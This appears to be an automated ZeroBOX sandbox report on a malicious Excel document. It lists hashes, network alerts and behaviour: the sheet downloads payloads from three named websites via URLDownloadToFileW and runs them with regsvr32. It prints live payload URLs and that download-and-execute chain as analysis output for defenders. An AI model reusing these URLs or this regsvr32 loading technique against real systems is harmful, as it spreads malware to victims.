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Guide 2020-06-10
Version history 2020-06-10

Summary | ZeroBOX

specification-1114748542.xls

MSOffice File

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 23, 2021, 3:53 p.m.	Sept. 23, 2021, 3:55 p.m.

Size	258.0KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Last Saved By: Vdgtjghk, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Wed Sep 22 07:32:13 2021, Security: 0
MD5	`bcf85cb453a5827d672791aa29c7f398`
SHA256	`593f8b47248e16e08fc041bf4f0cf2d0942c30c3da1678d4390ef6450711d5c1`
CRC32	`2C17E060`
ssdeep	`6144:wKpb8rGYrMPe3q7Q0XV5xtuEsi8/dg9nfb7I6+tqDWcwnoRZzlj+oSGpGvhmmmmf:Hj7CqScwoRZ9bSXkh/nLoH`
Yara	Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\specification-1114748542.xls
1892
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
  2696
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
  2736
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
  2716

Name	Response	Post-Analysis Lookup
keysite.com.co	A 50.116.92.246	50.116.92.246
ricardopiresfotografia.com	A 94.126.169.140	94.126.169.140
colegiobilinguepioxii.com.co	A 50.116.92.246	50.116.92.246

IP Address	Status	Action
164.124.101.2	Active	Moloch
50.116.92.246	Active	Moloch
94.126.169.140	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49172 -> 50.116.92.246:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49168 -> 94.126.169.140:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49179 -> 50.116.92.246:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 50.116.92.246:443 -> 192.168.56.103:49174	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49171 -> 50.116.92.246:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 50.116.92.246:443 -> 192.168.56.103:49180	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49177 -> 50.116.92.246:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49168 94.126.169.140:443	C=US, O=Let's Encrypt, CN=R3	CN=*.ricardopiresfotografia.com	64:f3:ac:1c:6c:ee:2b:50:15:af:da:64:78:42:da:7c:65:ea:be:df

Performs some HTTP requests (1 event)

request

GET https://ricardopiresfotografia.com/RpuaNlWy/host.html

Allocates read-write-execute memory (usually to unpack itself) (5 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 23, 2021, 3:53 p.m.	process_identifier: 1892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 23, 2021, 3:53 p.m.	process_identifier: 1892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b192000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 23, 2021, 3:53 p.m.	process_identifier: 2696 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 23, 2021, 3:53 p.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Sept. 23, 2021, 3:53 p.m.	process_identifier: 2716 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\test.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline	regsvr32 C:\Datop\test1.test
cmdline	regsvr32 C:\Datop\test2.test

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 23, 2021, 3:53 p.m.	process_identifier: 1892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW Sept. 23, 2021, 3:53 p.m.	url: https://ricardopiresfotografia.com/RpuaNlWy/host.html stack_pivoted: 0 filepath_r: C:\Datop\test.test filepath: C:\Datop\test.test	1	0	0
URLDownloadToFileW Sept. 23, 2021, 3:53 p.m.	url: https://keysite.com.co/IQ3mbS6EF/host.html stack_pivoted: 0 filepath_r: C:\Datop\test1.test filepath: C:\Datop\test1.test		2148270085	0
URLDownloadToFileW Sept. 23, 2021, 3:53 p.m.	url: https://colegiobilinguepioxii.com.co/SYqvKoF4/host.html stack_pivoted: 0 filepath_r: C:\Datop\test2.test filepath: C:\Datop\test2.test		2148270085	0

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test1.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test2.test

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe